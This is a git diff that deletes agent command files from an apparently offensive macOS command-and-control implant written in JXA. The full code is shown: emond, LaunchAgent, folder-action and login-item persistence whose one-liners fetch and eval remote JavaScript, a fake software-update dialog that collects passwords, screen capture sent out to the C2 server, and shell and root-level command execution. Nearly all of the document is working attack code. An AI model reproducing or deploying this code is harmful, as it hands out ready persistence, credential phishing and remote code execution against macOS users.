- "user_output": "Error: " + error.toString(),
- "completed": true,
- "status": "error"
- };
- }
-};
diff --git a/Payload_Types/apfell/agent_code/persist_emond.js b/Payload_Types/apfell/agent_code/persist_emond.js
deleted file mode 100755
index b0ac4648d..000000000
--- a/Payload_Types/apfell/agent_code/persist_emond.js
+++ /dev/null
@@ -1,98 +0,0 @@
-exports.persist_emond = function(task, command, params){
- try{
- //emond persistence from https://www.xorrior.com/emond-persistence/
- let config = JSON.parse(params);
- // read "/System/Library/LaunchDaemons/com.apple.emond.plist" for the "QueueDirectories" key (returns array)
- // create ".DS_Store" file there that's empty
- // create new plist in "/etc/emond.d/rules/"
- let rule_name = "update_files";
- if(config.hasOwnProperty('rule_name') && config['rule_name'] !== ""){rule_name = config['rule_name'];}
- let payload_type = "oneliner-jxa";
- if(config.hasOwnProperty('payload_type') && config['payload_type'] !== ""){payload_type = config['payload_type'];}
- if(payload_type === "oneliner-jxa"){
- if(config.hasOwnProperty('url') && config['url'] !== ""){var url = config['url'];}
- else{ return "URL is required for the oneliner-jxa payload_type"; }
- var command = "eval(ObjC.unwrap($.NSString.alloc.initWithDataEncoding($.NSData.dataWithContentsOfURL($.NSURL.URLWithString('" +
- url + "')),$.NSUTF8StringEncoding)))";
- // now we need to base64 encode our command
- var command_data = $(command).dataUsingEncoding($.NSData.NSUTF16StringEncoding);
- var base64_command = command_data.base64EncodedStringWithOptions(0).js;
- var full_command = "echo \"" + base64_command + "\" | base64 -D | /usr/bin/osascript -l JavaScript &";
- }
- else if(payload_type === "custom_bash-c"){
- if(config.hasOwnProperty('command') && config['command'] !== ""){var full_command = config['command'];}
- else{
- return {"user_output":"command is a required field for the custom_bash-c payload_type", "completed": true, "status": "error"};
- }
- }
- // get our new plist file_name
- if(config.hasOwnProperty('file_name') && config['file_name'] !== ""){ var file_name = config['file_name'];}
- else{ return {"user_output":"file name is required", "completed": true, "status": "error"}; }
-
- var plist_contents = "\n" +
- "\n" +
- "\n" +
- "\n" +
- " \n" +
- " name \n" +
- " " + rule_name + " \n" +
- " enabled \n" +
- " \n" +
- " eventTypes \n" +
- " \n" +
- " startup \n" +
- " \n" +
- " actions \n" +
- " \n" +
- " \n" +
- " command \n" +
- " /bin/sleep \n" +
- " user \n" +
- " root \n" +
- " arguments \n" +
- " \n" +
- " 60 \n" +
- " \n" +
- " type \n" +
- " RunCommand \n" +
- " \n" +
- " \n" +
- " command \n" +
- " /bin/bash \n" +
- " user \n" +
- " root \n" +
- " arguments \n" +
- " \n" +
- " -c \n" +
- " " + full_command + " \n" +
- " \n" +
- " type \n" +
- " RunCommand \n" +
- " \n" +
- " \n" +
- " \n" +
- " \n" +
- " ";
- // read the plist file and check the QueueDirectories field
- var prefs = ObjC.deepUnwrap($.NSMutableDictionary.alloc.initWithContentsOfFile($("/System/Library/LaunchDaemons/com.apple.emond.plist")));
- //console.log(JSON.stringify(prefs));
- var queueDirectories = prefs['QueueDirectories'];
- if(queueDirectories !== undefined && queueDirectories.length > 0){
- var queueDirectoryPath = queueDirectories[0];
- write_data_to_file(" ", queueDirectoryPath + "/.DS_Store");
- // now that we have a file in our queueDirectory, we need to write out our plist
- write_data_to_file(plist_contents, "/etc/emond.d/rules/" + file_name);
-
- var user_output = "Created " + queueDirectoryPath + "/.DS_Store and /etc/emond.d/rules/" + file_name + " with contents: \n" + plist_contents;
-
- // announce our created artifacts and user output
- let artifacts = {'user_output': user_output, 'artifacts': [{'base_artifact': 'File Create', 'artifact': queueDirectoryPath + "/.DS_Store"}, {'base_artifact': 'File Create', 'artifact': '/etc/emond.d/rules/' + file_name}], "completed": true};
- return artifacts
- }
- else{
- return {"user_output":"QueueDirectories array is either not there or 0 in length", "completed": true, "status": "error"};
- }
- }catch(error){
- return {"user_output":error.toString(), "completed": true, "status": "error"};
- }
-};
diff --git a/Payload_Types/apfell/agent_code/persist_folderaction.js b/Payload_Types/apfell/agent_code/persist_folderaction.js
deleted file mode 100755
index 9de77dbc2..000000000
--- a/Payload_Types/apfell/agent_code/persist_folderaction.js
+++ /dev/null
@@ -1,67 +0,0 @@
-exports.persist_folderaction = function(task, command, params){
- try{
- // ======= Get params ========
- let json_params = JSON.parse(params);
- let folder = json_params['folder'];
- let script_path = json_params['script_path'];
- let url = json_params['url'];
- let code = json_params['code'];
- let lang = json_params['language'];
- let code1 = "var app = Application.currentApplication();\n" +
- "app.includeStandardAdditions = true;\n" +
- "app.doShellScript(\" osascript -l JavaScript -e \\\"eval(ObjC.unwrap($.NSString.alloc.initWithDataEncoding($.NSData.dataWithContentsOfURL($.NSURL.URLWithString('";
- let code2 = "')),$.NSUTF8StringEncoding)));\\\" &> /dev/null &\");";
- let output = "";
- // ======== Compile and write script to file ==========
- ObjC.import('OSAKit');
- let mylang = "";
- let myscript = "";
- if(code !== ""){
- mylang = $.OSALanguage.languageForName(lang);
- myscript = $.OSAScript.alloc.initWithSourceLanguage($(code),mylang);
- }else{
- mylang = $.OSALanguage.languageForName("JavaScript");
- myscript = $.OSAScript.alloc.initWithSourceLanguage($(code1 + url + code2),mylang);
- }
-
- myscript.compileAndReturnError($());
- let data = myscript.compiledDataForTypeUsingStorageOptionsError("osas", 0x00000003, $());
- data.writeToFileAtomically(script_path, true);
- // ======= Handle the folder action persistence =======
- let se = Application("System Events");
- se.folderActionsEnabled = true;
- let fa_exists = false;
- let script_exists = false;
- let myScript = se.Script({name: script_path.split("/").pop(), posixPath: script_path});
- let fa = se.FolderAction({name: folder.split("/").pop(), path: folder});
- // first check to see if there's a folder action for the path we're looking at
- for(let i = 0; i < se.folderActions.length; i++){
- if(se.folderActions[i].path() === folder){
- // if our folder already has folder actions, just take the reference for later
- fa = se.folderActions[i];
- fa_exists = true;
- output += "Folder already has folder actions\n";
- break;
- }
- }
- // if the folder action doesn't exist, add it
- if(fa_exists === false){
- se.folderActions.push(fa);
- }
- // Check to see if this script already exists on this folder
- for(let i = 0; i < fa.scripts.length; i++){
- if(fa.scripts[i].posixPath() === script_path){
- script_exists = true;
- output += "Script already assigned to this folder\n";
- break;
- }
- }
- if(script_exists === false){
- fa.scripts.push(myScript);
- }
- output += "Folder Action established";
- return {"user_output":output, "completed": true, "artifacts": [{"base_artifact":"File Create", "artifact": script_path}]};
- }catch(error){
- return {"user_output":error.toString(), "completed": true, "status": "error"};
- }
-};
diff --git a/Payload_Types/apfell/agent_code/persist_launch.js b/Payload_Types/apfell/agent_code/persist_launch.js
deleted file mode 100755
index 7a0df5dfe..000000000
--- a/Payload_Types/apfell/agent_code/persist_launch.js
+++ /dev/null
@@ -1,60 +0,0 @@
-exports.persist_launch = function(task, command, params){
- try{
- let config = JSON.parse(params);
- let template = "\n" +
- "\n" +
- "\n" +
- "\n" +
- "Label \n";
- let label = "com.apple.softwareupdateagent";
- if(config.hasOwnProperty('label') && config['label'] !== ""){label = config['label'];}
- template += "" + label + " \n";
- template += "ProgramArguments \n";
- if(config.hasOwnProperty('args') && config['args'].length > 0){
- if(config['args'][0] === "apfell-jxa"){
- // we'll add in an apfell-jxa one liner to run
- template += "/usr/bin/osascript \n" +
- "-l \n" +
- "JavaScript \n" +
- "-e \n" +
- "eval(ObjC.unwrap($.NSString.alloc.initWithDataEncoding($.NSData.dataWithContentsOfURL($.NSURL.URLWithString('" +
- config['args'][1] + "')),$.NSUTF8StringEncoding))) \n"
- }
- else{
- for(let i = 0; i < config['args'].length; i++){
- template += "" + config['args'][i] + " \n";
- }
- }
- }
- else{
- return {"user_output": "Program args needs values for \"apfell-jxa\"", "completed": true, "status": "error"};
- }
- template += " \n";
- if(config.hasOwnProperty('KeepAlive') && config['KeepAlive'] === true){ template += "KeepAlive \n \n"; }
- if(config.hasOwnProperty('RunAtLoad') && config['RunAtLoad'] === true){ template += "RunAtLoad \n \n"; }
- template += " \n \n"
- // now we need to actually write out the plist to disk
- let response = "";
- if(config.hasOwnProperty('LocalAgent') && config['LocalAgent'] === true){
- let path = "~/Library/LaunchAgents/";
- path = $(path).stringByExpandingTildeInPath;
- var fileManager = $.NSFileManager.defaultManager;
- if(!fileManager.fileExistsAtPath(path)){
- $.fileManager.createDirectoryAtPathWithIntermediateDirectoriesAttributesError(path, false, $(), $());
- }
- path = $(path.js + "/" + label + ".plist");
- response = write_data_to_file(template, path) + " to " + ObjC.deepUnwrap(path);
- let artifacts = {'user_output': response, 'artifacts': [{'base_artifact': 'File Create', 'artifact': ObjC.deepUnwrap(path)}], "completed": true};
- return artifacts
- }
- else if(config.hasOwnProperty('LaunchPath') && config['LaunchPath'] !== ""){
- response = write_data_to_file(template, $(config['LaunchPath'])) + " to " + config["LaunchPath"];
- let artifacts = {'user_output': response, 'artifacts': [{'base_artifact': 'File Create', 'artifact': config["LaunchPath"]}], "completed": true};
- return artifacts
- }
- return artifacts
-
- }catch(error){
- return {"user_output":error.toString(), "completed": true, "status": "error"};
- }
-};
diff --git a/Payload_Types/apfell/agent_code/persist_loginitem_allusers.js b/Payload_Types/apfell/agent_code/persist_loginitem_allusers.js
deleted file mode 100644
index 34cc8f58c..000000000
--- a/Payload_Types/apfell/agent_code/persist_loginitem_allusers.js
+++ /dev/null
@@ -1,22 +0,0 @@
-exports.persist_loginitem_allusers = function(task, command, params){
- ObjC.import('CoreServices');
- ObjC.import('Security');
- ObjC.import('SystemConfiguration');
- let args = JSON.parse(params);
- // Obtain authorization for the global login item list
- // Set the item as hidden: https://github.com/pkamb/OpenAtLogin/blob/master/OpenAtLogin.m#L35
- let auth;
- let result = $.AuthorizationCreate($.nil, $.nil, $.kAuthorizationDefaults, Ref(auth));
-
- if (result === 0) {
- let temp = $.CFURLCreateFromFileSystemRepresentation($.kCFAllocatorDefault, args['path'], args['path'].length, false);
- let items = $.LSSharedFileListCreate($.kCFAllocatorDefault, $.kLSSharedFileListGlobalLoginItems, $.nil);
- $.LSSharedFileListSetAuthorization(items, auth);
- let cfName = $.CFStringCreateWithCString($.nil, args['name'], $.kCFStringEncodingASCII);
- let itemRef = $.LSSharedFileListInsertItemURL(items, $.kLSSharedFileListItemLast, cfName, $.nil, temp, $.nil, $.nil);
- return {"user_output": "LoginItem installation successful", "completed": true};
- } else {
- return {"user_output": `LoginItem installation failed: AuthorizationCreate returned ${result}`, "completed": true};
- }
-
-};
\ No newline at end of file
diff --git a/Payload_Types/apfell/agent_code/plist.js b/Payload_Types/apfell/agent_code/plist.js
deleted file mode 100755
index 0c989fab8..000000000
--- a/Payload_Types/apfell/agent_code/plist.js
+++ /dev/null
@@ -1,203 +0,0 @@
-exports.plist = function(task, command, params){
- try{
- let config = JSON.parse(params);
- ObjC.import('Foundation');
- let output = [];
- try{
- if(config['type'] === "read"){
- output = [];
- let filename = $.NSString.alloc.initWithUTF8String(config['filename']);
- let prefs = $.NSMutableDictionary.alloc.initWithContentsOfFile(filename);
- let contents = ObjC.deepUnwrap(prefs);
- let fileManager = $.NSFileManager.defaultManager;
- let plistPerms = ObjC.unwrap(fileManager.attributesOfItemAtPathError($(config['filename']), $()));
- let nsposix = {};
- let posix = "";
- if(plistPerms !== undefined){
- nsposix = plistPerms['NSFilePosixPermissions'].js;
- posix = ((nsposix >> 6) & 0x7).toString() + ((nsposix >> 3) & 0x7).toString() + (nsposix & 0x7).toString();
- if(plistPerms['NSFileExtendedAttributes'] !== undefined){
- let extended = {};
- let perms = plistPerms['NSFileExtendedAttributes'].js;
- for(let j in perms){
- extended[j] = perms[j].base64EncodedStringWithOptions(0).js;
- }
- contents['PlistPermissionsExtendedAttributes'] = extended;
- }
- }
- // we need to fix this mess to actually be real permission bits that make sense
- contents['PlistPermissions'] = posix;
- output.push(contents);
- }
- else if(config['type'] === "readLaunchAgents"){
- output = {};
- let fileManager = $.NSFileManager.defaultManager;
- let error = Ref();
- let path = fileManager.homeDirectoryForCurrentUser.fileSystemRepresentation + "/Library/LaunchAgents/";
- let files = fileManager.contentsOfDirectoryAtPathError($(path), error);
- try{
- // no errors, so now iterate over the files
- files = ObjC.deepUnwrap(files);
- output["localLaunchAgents"] = {};
- for(let i in files){
- let prefs = $.NSMutableDictionary.alloc.initWithContentsOfFile(path + files[i]);
- let contents = ObjC.deepUnwrap(prefs);
- let plistPerms = ObjC.unwrap(fileManager.attributesOfItemAtPathError($(path + files[i]), $()));
- let nsposix = {};
- let posix = "";
- if(plistPerms !== undefined){
- nsposix = plistPerms['NSFilePosixPermissions'].js;
- posix = ((nsposix >> 6) & 0x7).toString() + ((nsposix >> 3) & 0x7).toString() + (nsposix & 0x7).toString();
- if(plistPerms['NSFileExtendedAttributes'] !== undefined){
- let extended = {};
- let perms = plistPerms['NSFileExtendedAttributes'].js;
- for(let j in perms){
- extended[j] = perms[j].base64EncodedStringWithOptions(0).js;
- }
- contents['PlistPermissionsExtendedAttributes'] = extended;
- }
- }
- // we need to fix this mess to actually be real permission bits that make sense
- contents['PlistPermissions'] = posix;
- output["localLaunchAgents"][files[i]] = {};
- output["localLaunchAgents"][files[i]]['contents'] = contents;
- if(contents !== undefined && contents.hasOwnProperty("ProgramArguments")){
- //now try to get the attributes of the program this plist points to since it might have attribute issues for abuse
- let attributes = ObjC.deepUnwrap(fileManager.attributesOfItemAtPathError($(contents['ProgramArguments'][0]), $()));
- if(attributes !== undefined){
- let trimmed_attributes = {};
- trimmed_attributes['NSFileOwnerAccountID'] = attributes['NSFileOwnerAccountID'];
- trimmed_attributes['NSFileExtensionHidden'] = attributes['NSFileExtensionHidden'];
- trimmed_attributes['NSFileGroupOwnerAccountID'] = attributes['NSFileGroupOwnerAccountID'];
- trimmed_attributes['NSFileOwnerAccountName'] = attributes['NSFileOwnerAccountName'];
- trimmed_attributes['NSFileCreationDate'] = attributes['NSFileCreationDate'];
- nsposix = attributes['NSFilePosixPermissions'];
- // we need to fix this mess to actually be real permission bits that make sense
- posix = ((nsposix >> 6) & 0x7).toString() + ((nsposix >> 3) & 0x7).toString() + (nsposix & 0x7).toString();
- trimmed_attributes['NSFilePosixPermissions'] = posix;
- trimmed_attributes['NSFileGroupOwnerAccountName'] = attributes['NSFileGroupOwnerAccountName'];
- trimmed_attributes['NSFileModificationDate'] = attributes['NSFileModificationDate'];
- output["localLaunchAgents"][files[i]]['ProgramAttributes'] = trimmed_attributes;
- }
- }
- }
- }catch(error){
- return {"user_output":"Error trying to read ~/Library/LaunchAgents: " + error.toString(), "completed": true, "status": "error"};
- }
- path = "/Library/LaunchAgents/";
- files = fileManager.contentsOfDirectoryAtPathError($(path), error);
- try{
- // no errors, so now iterate over the files
- files = ObjC.deepUnwrap(files);
- output["systemLaunchAgents"] = {};
- for(let i in files){
- let prefs = $.NSMutableDictionary.alloc.initWithContentsOfFile(path + files[i]);
- let contents = ObjC.deepUnwrap(prefs);
- let plistPerms = ObjC.unwrap(fileManager.attributesOfItemAtPathError($(path + files[i]), $()));
- let nsposix = {};
- let posix = "";
- if(plistPerms !== undefined){
- nsposix = plistPerms['NSFilePosixPermissions'].js;
- posix = ((nsposix >> 6) & 0x7).toString() + ((nsposix >> 3) & 0x7).toString() + (nsposix & 0x7).toString();
- if(plistPerms['NSFileExtendedAttributes'] !== undefined){
- let extended = {};
- let perms = plistPerms['NSFileExtendedAttributes'].js;
- for(let j in perms){
- extended[j] = perms[j].base64EncodedStringWithOptions(0).js;
- }
- contents['PlistPermissionsExtendedAttributes'] = extended;
- }
- }
- // we need to fix this mess to actually be real permission bits that make sense
- contents['PlistPermissions'] = posix;
- output['systemLaunchAgents'][files[i]] = {};
- output["systemLaunchAgents"][files[i]]['contents'] = contents;
- if(contents !== undefined && contents.hasOwnProperty("ProgramArguments")){
- let attributes = ObjC.deepUnwrap(fileManager.attributesOfItemAtPathError($(contents['ProgramArguments'][0]), $()));
- if(attributes !== undefined){
- let trimmed_attributes = {};
- trimmed_attributes['NSFileOwnerAccountID'] = attributes['NSFileOwnerAccountID'];
- trimmed_attributes['NSFileExtensionHidden'] = attributes['NSFileExtensionHidden'];
- trimmed_attributes['NSFileGroupOwnerAccountID'] = attributes['NSFileGroupOwnerAccountID'];
- trimmed_attributes['NSFileOwnerAccountName'] = attributes['NSFileOwnerAccountName'];
- trimmed_attributes['NSFileCreationDate'] = attributes['NSFileCreationDate'];
- let nsposix = attributes['NSFilePosixPermissions'];
- // we need to fix this mess to actually be real permission bits that make sense
- trimmed_attributes['NSFilePosixPermissions'] = ((nsposix >> 6) & 0x7).toString() + ((nsposix >> 3) & 0x7).toString() + (nsposix & 0x7).toString();;
- trimmed_attributes['NSFileGroupOwnerAccountName'] = attributes['NSFileGroupOwnerAccountName'];
- trimmed_attributes['NSFileModificationDate'] = attributes['NSFileModificationDate'];
- output["systemLaunchAgents"][files[i]]['ProgramAttributes'] = trimmed_attributes;
- }
- }
- }
- }
- catch(error){
- return {"user_output":"Error trying to read /Library/LaunchAgents: " + error.toString(), "completed": true, "status": "error"};
- }
- }
- else if(config['type'] === "readLaunchDaemons"){
- let fileManager = $.NSFileManager.defaultManager;
- let path = "/Library/LaunchDaemons/";
- let error = Ref();
- output = {};
- let files = fileManager.contentsOfDirectoryAtPathError($(path), error);
- try{
- // no errors, so now iterate over the files
- files = ObjC.deepUnwrap(files);
- output["systemLaunchDaemons"] = {};
- for(let i in files){
- let prefs = $.NSMutableDictionary.alloc.initWithContentsOfFile(path + files[i]);
- let contents = ObjC.deepUnwrap(prefs);
- if(contents === undefined){ contents = {};}
- let plistPerms = ObjC.unwrap(fileManager.attributesOfItemAtPathError($(path + files[i]), $()));
- let nsposix = {};
- let posix = "";
- if(plistPerms !== undefined){
- nsposix = plistPerms['NSFilePosixPermissions'].js;
- posix = ((nsposix >> 6) & 0x7).toString() + ((nsposix >> 3) & 0x7).toString() + (nsposix & 0x7).toString();
- if(plistPerms['NSFileExtendedAttributes'] !== undefined){
- let extended = {};
- let perms = plistPerms['NSFileExtendedAttributes'].js;
- for(let j in perms){
- extended[j] = perms[j].base64EncodedStringWithOptions(0).js;
- }
- contents['PlistPermissionsExtendedAttributes'] = extended;
- }
- }
- // we need to fix this mess to actually be real permission bits that make sense
- contents['PlistPermissions'] = posix;
- output['systemLaunchDaemons'][files[i]] = {};
- output["systemLaunchDaemons"][files[i]]['contents'] = contents;
- if(contents !== undefined && contents.hasOwnProperty('ProgramArguments')){
- let attributes = ObjC.deepUnwrap(fileManager.attributesOfItemAtPathError($(contents['ProgramArguments'][0]), $()));
- if(attributes !== undefined){
- let trimmed_attributes = {};
- trimmed_attributes['NSFileOwnerAccountID'] = attributes['NSFileOwnerAccountID'];
- trimmed_attributes['NSFileExtensionHidden'] = attributes['NSFileExtensionHidden'];
- trimmed_attributes['NSFileGroupOwnerAccountID'] = attributes['NSFileGroupOwnerAccountID'];
- trimmed_attributes['NSFileOwnerAccountName'] = attributes['NSFileOwnerAccountName'];
- trimmed_attributes['NSFileCreationDate'] = attributes['NSFileCreationDate'];
- nsposix = attributes['NSFilePosixPermissions'];
- // we need to fix this mess to actually be real permission bits that make sense
- posix = ((nsposix >> 6) & 0x7).toString() + ((nsposix >> 3) & 0x7).toString() + (nsposix & 0x7).toString();
- trimmed_attributes['NSFilePosixPermissions'] = posix;
- trimmed_attributes['NSFileGroupOwnerAccountName'] = attributes['NSFileGroupOwnerAccountName'];
- trimmed_attributes['NSFileModificationDate'] = attributes['NSFileModificationDate'];
- output["systemLaunchDaemons"][files[i]]['ProgramAttributes'] = trimmed_attributes;
- }
- }
- }
- }
- catch(error){
- return {"user_output":"Failed to read launch daemons: " + error.toString(), "completed": true, "status": "error"};
- }
- }
- return {"user_output":JSON.stringify(output, null, 2), "completed": true};
- }catch(error){
- return {"user_output":error.toString(), "completed": true, "status": "error"};
- }
- }catch(error){
- return {"user_output":error.toString(), "completed": true, "status": "error"};
- }
-};
-
diff --git a/Payload_Types/apfell/agent_code/prompt.js b/Payload_Types/apfell/agent_code/prompt.js
deleted file mode 100755
index c749a5e57..000000000
--- a/Payload_Types/apfell/agent_code/prompt.js
+++ /dev/null
@@ -1,27 +0,0 @@
-exports.prompt = function(task, command, params){
- let config = [];
- if(params.length > 0){config = JSON.parse(params);}
- else{config = [];}
- let title = "Application Needs to Update";
- if(config.hasOwnProperty("title") && config['title'] !== ""){title = config['title'];}
- let icon = "/System/Library/PreferencePanes/SoftwareUpdate.prefPane/Contents/Resources/SoftwareUpdate.icns";
- if(config.hasOwnProperty("icon") && config['icon'] !== ""){icon = config['icon'];}
- let text = "An application needs permission to update";
- if(config.hasOwnProperty("text") && config['text'] !== ""){text = config['text'];}
- let answer = "";
- if(config.hasOwnProperty("answer") && config['answer'] !== ""){answer = config['answer'];}
- try{
- let prompt = currentApp.displayDialog(text, {
- defaultAnswer: answer,
- buttons: ['OK', 'Cancel'],
- defaultButton: 'OK',
- cancelButton: 'Cancel',
- withTitle: title,
- withIcon: Path(icon),
- hiddenAnswer: true
- });
- return {"user_output":prompt.textReturned, "completed": true};
- }catch(error){
- return {"user_output":error.toString(), "completed": true, "status": "error"};
- }
-};
diff --git a/Payload_Types/apfell/agent_code/pwd.js b/Payload_Types/apfell/agent_code/pwd.js
deleted file mode 100755
index b6fc60afb..000000000
--- a/Payload_Types/apfell/agent_code/pwd.js
+++ /dev/null
@@ -1,12 +0,0 @@
-exports.pwd = function(task, command, params){
- try{
- let fileManager = $.NSFileManager.defaultManager;
- let cwd = fileManager.currentDirectoryPath;
- if(cwd === undefined || cwd === ""){
- return {"user_output":"CWD is empty or undefined", "completed": true, "status": "error"};
- }
- return {"user_output":cwd.js, "completed": true};
- }catch(error){
- return {"user_output":error.toString(), "completed": true, "status": "error"};
- }
-};
diff --git a/Payload_Types/apfell/agent_code/report_routes.js b/Payload_Types/apfell/agent_code/report_routes.js
deleted file mode 100644
index 2b53669fb..000000000
--- a/Payload_Types/apfell/agent_code/report_routes.js
+++ /dev/null
@@ -1,14 +0,0 @@
-exports.report_routes = function(task, command, params){
- let parameters = JSON.parse(params);
- let edges = [
- {
- "source": parameters['source'],
- "destination": parameters['destination'],
- "direction": parameters['direction'],
- "action": parameters['action'],
- "metadata": parameters['metadata']
- }
- ];
- //C2.htmlPostData("api/v1.4/agent_message", data, apfell.id);
- return {"user_output": "Route submitted", "completed": true, "edges": edges};
-};
diff --git a/Payload_Types/apfell/agent_code/rm.js b/Payload_Types/apfell/agent_code/rm.js
deleted file mode 100755
index 84c928040..000000000
--- a/Payload_Types/apfell/agent_code/rm.js
+++ /dev/null
@@ -1,15 +0,0 @@
-exports.rm = function(task, command, params){
- try{
- let command_params = JSON.parse(params);
- let path = command_params['path'];
- let fileManager = $.NSFileManager.defaultManager;
- if(path[0] === '"'){
- path = path.substring(1, path.length-1);
- }
- let error = Ref();
- fileManager.removeItemAtPathError($(path), error);
- return {"user_output":"Removed file", "completed": true, "removed_files": [{"path": path, "host": ""}]};
- }catch(error){
- return {"user_output":error.toString(), "completed": true, "status": "error"};
- }
-};
diff --git a/Payload_Types/apfell/agent_code/run.js b/Payload_Types/apfell/agent_code/run.js
deleted file mode 100755
index 7c09941be..000000000
--- a/Payload_Types/apfell/agent_code/run.js
+++ /dev/null
@@ -1,33 +0,0 @@
-exports.run = function(task, command, params){
- //launch a program and args via ObjC bridge without doShellScript and return response
- let response = "";
- try{
- let pieces = JSON.parse(params);
- let path = pieces['path'];
- //console.log(path);
- let args = pieces['args'];
- let pipe = $.NSPipe.pipe;
- let file = pipe.fileHandleForReading; // NSFileHandle
- let task = $.NSTask.alloc.init;
- task.launchPath = path; //'/bin/ps'
- task.arguments = args; //['ax']
- task.standardOutput = pipe; // if not specified, literally writes to file handles 1 and 2
- task.standardError = pipe;
- //console.log("about to launch");
- task.launch; // Run the command 'ps ax'
- //console.log("launched");
- if(args[args.length - 1] !== "&"){
- //if we aren't tasking this to run in the background, then try to read the output from the program
- // this will hang our main program though for now
- let data = file.readDataToEndOfFile; // NSData, potential to hang here?
- file.closeFile;
- response = $.NSString.alloc.initWithDataEncoding(data, $.NSUTF8StringEncoding).js;
- }
- else{
- response = "launched program";
- }
- }catch(error){
- return {"user_output":error.toString(), "completed": true, "status": "error"};
- }
- return {"user_output":response, "completed": true};
-};
diff --git a/Payload_Types/apfell/agent_code/screenshot.js b/Payload_Types/apfell/agent_code/screenshot.js
deleted file mode 100755
index 450fed596..000000000
--- a/Payload_Types/apfell/agent_code/screenshot.js
+++ /dev/null
@@ -1,45 +0,0 @@
-exports.screenshot = function(task, command, params){
- try{
- ObjC.import('Cocoa');
- ObjC.import('AppKit');
- let cgimage = $.CGDisplayCreateImage($.CGMainDisplayID());
- if(cgimage.js === undefined) {
- cgimage = $.CFMakeCollectable(cgimage); // in case 10.15 is messing with the types again
- }
- if(cgimage.js === undefined){
- return {"user_output":"Failed to get image from display", "completed": true, "status": "error"};
- }
- let bitmapimagerep = $.NSBitmapImageRep.alloc.initWithCGImage(cgimage);
- let capture = bitmapimagerep.representationUsingTypeProperties($.NSBitmapImageFileTypePNG, Ref());
- let offset = 0;
- let chunkSize = 350000;
- let fileSize = parseInt(capture.length);
- // always round up to account for chunks that are < chunksize;
- let numOfChunks = Math.ceil(fileSize / chunkSize);
- let registerData = {'total_chunks': numOfChunks, 'task': task.id};
- let registerFile = C2.postResponse(task, registerData);
- if (registerFile['responses'][0]['status'] === "success"){
- let currentChunk = 1;
- let csize = capture.length - offset > chunkSize ? chunkSize : capture.length - offset;
- let data = capture.subdataWithRange($.NSMakeRange(offset, csize));
- while(parseInt(data.length) > 0 && offset < fileSize){
- // send a chunk
- let fileData = {'chunk_num': currentChunk, 'chunk_data': data.base64EncodedStringWithOptions(0).js, 'task': task.id, 'file_id': registerFile['responses'][0]['file_id']};
- C2.postResponse(task, fileData);
- $.NSThread.sleepForTimeInterval(C2.gen_sleep_time());
-
- // increment the offset and seek to the amount of data read from the file
- offset = offset + parseInt(data.length);
- csize = capture.length - offset > chunkSize ? chunkSize : capture.length - offset;
- data = capture.subdataWithRange($.NSMakeRange(offset, csize));
- currentChunk += 1;
- }
- return {"user_output":JSON.stringify({"file_id": registerFile['responses'][0]['file_id']}), "completed": true};
- }
- else{
- return {"user_output":"Failed to register file to download", "completed": true, "status": "error"};
- }
- }catch(error){
- return {"user_output":"Failed to get a screencapture: " + error.toString(), "completed": true, "status": "error"};
- }
-};
diff --git a/Payload_Types/apfell/agent_code/security_info.js b/Payload_Types/apfell/agent_code/security_info.js
deleted file mode 100755
index 53fbbbbe9..000000000
--- a/Payload_Types/apfell/agent_code/security_info.js
+++ /dev/null
@@ -1,14 +0,0 @@
-exports.security_info = function(task, command, params){
- try{
- let secObj = Application("System Events").securityPreferences();
- let info = "automaticLogin: " + secObj.automaticLogin() +
- "\nlogOutWhenInactive: " + secObj.logOutWhenInactive() +
- "\nlogOutWhenInactiveInterval: " + secObj.logOutWhenInactiveInterval() +
- "\nrequirePasswordToUnlock: " + secObj.requirePasswordToUnlock() +
- "\nrequirePasswordToWake: " + secObj.requirePasswordToWake();
- //"\nsecureVirtualMemory: " + secObj.secureVirtualMemory(); //might need to be in an elevated context
- return {"user_output":info, "completed": true};
- }catch(error){
- return {"user_output":error.toString(), "completed": true, "status": "error"};
- }
-};
diff --git a/Payload_Types/apfell/agent_code/shell.js b/Payload_Types/apfell/agent_code/shell.js
deleted file mode 100755
index 4bacb33cd..000000000
--- a/Payload_Types/apfell/agent_code/shell.js
+++ /dev/null
@@ -1,25 +0,0 @@
-exports.shell = function(task, command, params){
- //simply run a shell command via doShellScript and return the response
- let response = "";
- try{
- let command_params = JSON.parse(params);
- let command = command_params['command'];
- if(command[command.length-1] === "&"){
- //doShellScript actually does macOS' /bin/sh which is actually bash emulating sh
- // so to actually background a task, you need "&> /dev/null &" at the end
- // so I'll just automatically fix this so it's not weird for the operator
- command = command + "> /dev/null &";
- }
- response = currentApp.doShellScript(command);
- if(response === undefined || response === ""){
- response = "No Command Output";
- }
- // shell output uses \r instead of \n or \r\n to line endings, fix this nonsense
- response = response.replace(/\r/g, "\n");
- return {"user_output":response, "completed": true};
- }
- catch(error){
- response = error.toString().replace(/\r/g, "\n");
- return {"user_output":response, "completed": true, "status": "error"};
- }
-};
diff --git a/Payload_Types/apfell/agent_code/shell_elevated.js b/Payload_Types/apfell/agent_code/shell_elevated.js
deleted file mode 100755
index 706e63d2f..000000000
--- a/Payload_Types/apfell/agent_code/shell_elevated.js
+++ /dev/null
@@ -1,52 +0,0 @@
-exports.shell_elevated = function(task, command, params){
- try{
- let response = "";
- let pieces = [];
- let cmd = "";
- if(params.length > 0){ pieces = JSON.parse(params); }
- else{ pieces = []; }
- if(pieces.hasOwnProperty('command') && pieces['command'] !== ""){
- if(pieces['command'][command.length -1] === "&"){
- cmd = pieces['command'] + "> /dev/null &";
- }else{
- cmd = pieces['command'];
- }
- }
- else{
- return {"user_output": "missing command", "completed": true, "status": "error"};
- }
- let use_creds = false;
- let prompt = "An application needs permission to update";
- if(pieces.hasOwnProperty('use_creds') && typeof pieces['use_creds'] === "boolean"){ use_creds = pieces['use_creds'];}
- if(!use_creds){
- if(pieces.hasOwnProperty('prompt') && pieces['prompt'] !== ""){ prompt = pieces['prompt'];}
- try{
- response = currentApp.doShellScript(cmd, {administratorPrivileges:true,withPrompt:prompt});
- }
- catch(error){
- // shell output uses \r instead of \n or \r\n to line endings, fix this nonsense
- response = error.toString().replace(/\r/g, "\n");
- return {"user_output":response, "completed": true, "status": "error"};
- }
- }
- else{
- let userName = apfell.user;
- let password = "";
- if(pieces.hasOwnProperty('user') && pieces['user'] !== ""){ userName = pieces['user']; }
- if(pieces.hasOwnProperty('credential')){ password = pieces['credential']; }
- try{
- response = currentApp.doShellScript(cmd, {administratorPrivileges:true, userName:userName, password:password});
- }
- catch(error){
- // shell output uses \r instead of \n or \r\n to line endings, fix this nonsense
- response = error.toString().replace(/\r/g, "\n");
